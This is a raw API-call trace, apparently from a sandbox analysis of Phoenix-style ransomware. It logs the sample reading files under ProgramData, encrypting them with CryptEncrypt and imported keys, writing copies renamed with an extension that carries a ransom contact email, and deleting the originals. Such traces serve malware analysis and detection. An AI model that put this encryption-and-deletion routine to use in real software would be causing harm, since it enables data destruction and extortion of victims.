	[0227.324] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0227.324] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0227.325] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1512c0) returned 1
	[0227.325] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.325] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.325] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0227.325] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.325] CryptDestroyKey (hKey=0x151400) returned 1
	[0227.325] CloseHandle (hObject=0x2e8) returned 1
	[0227.325] CloseHandle (hObject=0x2c4) returned 1
	[0227.327] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\x-none.16\\s640.hash")) returned 1
	[0227.328] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.328] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.333] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=102) returned 1
	[0227.333] CloseHandle (hObject=0x2c4) returned 1
	[0227.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash")) returned 0x20
	[0227.333] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.333] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.333] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.333] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.334] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.334] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151700) returned 1
	[0227.334] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.334] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x66, lpOverlapped=0x0) returned 1
	[0227.335] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0227.335] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0227.336] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0227.336] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.336] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.336] CryptDestroyKey (hKey=0x151500) returned 1
	[0227.336] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.336] CryptDestroyKey (hKey=0x151700) returned 1
	[0227.336] CloseHandle (hObject=0x2c4) returned 1
	[0227.336] CloseHandle (hObject=0x2e8) returned 1
	[0227.337] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash")) returned 1
	[0227.338] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.338] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.339] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=102) returned 1
	[0227.339] CloseHandle (hObject=0x2e8) returned 1
	[0227.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash")) returned 0x20
	[0227.339] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.339] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.339] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.339] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.339] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151180) returned 1
	[0227.339] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.339] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x66, lpOverlapped=0x0) returned 1
	[0227.341] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0227.341] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0227.342] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0227.342] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.342] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.342] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.342] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.342] CryptDestroyKey (hKey=0x151180) returned 1
	[0227.342] CloseHandle (hObject=0x2e8) returned 1
	[0227.342] CloseHandle (hObject=0x2c4) returned 1
	[0227.343] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\en-us.16\\s641033.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\en-us.16\\s641033.hash")) returned 1
	[0227.344] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.344] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.345] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=102) returned 1
	[0227.345] CloseHandle (hObject=0x2c4) returned 1
	[0227.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash")) returned 0x20
	[0227.345] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.345] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.345] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.345] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.345] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151380) returned 1
	[0227.345] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.345] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x66, lpOverlapped=0x0) returned 1
	[0227.772] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0227.772] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x70, lpOverlapped=0x0) returned 1
	[0227.773] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0227.773] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.773] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0227.773] CryptDestroyKey (hKey=0x151640) returned 1
	[0227.773] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0227.773] CryptDestroyKey (hKey=0x151380) returned 1
	[0227.773] CloseHandle (hObject=0x2c4) returned 1
	[0227.774] CloseHandle (hObject=0x2e8) returned 1
	[0227.774] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\s640.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\s640.hash")) returned 1
	[0227.776] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0227.776] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.776] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1229936) returned 1
	[0227.776] CloseHandle (hObject=0x2e8) returned 1
	[0227.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe")) returned 0x20
	[0227.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.776] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0227.777] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.777] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0227.777] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0227.777] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0227.777] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0227.777] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x110100, lpOverlapped=0x0) returned 1
	[0227.817] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100, dwBufLen=0x110100 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x110100) returned 1
	[0227.818] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x110100, lpOverlapped=0x0) returned 1
	[0228.279] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x1c370, lpOverlapped=0x0) returned 1
	[0228.279] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c380, dwBufLen=0x1c380 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x1c380) returned 1
	[0228.279] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x1c380, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x1c380, lpOverlapped=0x0) returned 1
	[0228.281] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0228.281] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0228.281] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0228.281] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.281] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0228.282] CryptDestroyKey (hKey=0x151640) returned 1
	[0228.282] CloseHandle (hObject=0x2e8) returned 1
	[0228.282] CloseHandle (hObject=0x2c4) returned 1
	[0228.306] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\integrator.exe" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\integrator.exe")) returned 1
	[0228.412] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0228.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.419] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1565) returned 1
	[0228.419] CloseHandle (hObject=0x2e4) returned 1
	[0228.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24
	[0228.419] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\systemkeys\\d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0228.419] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
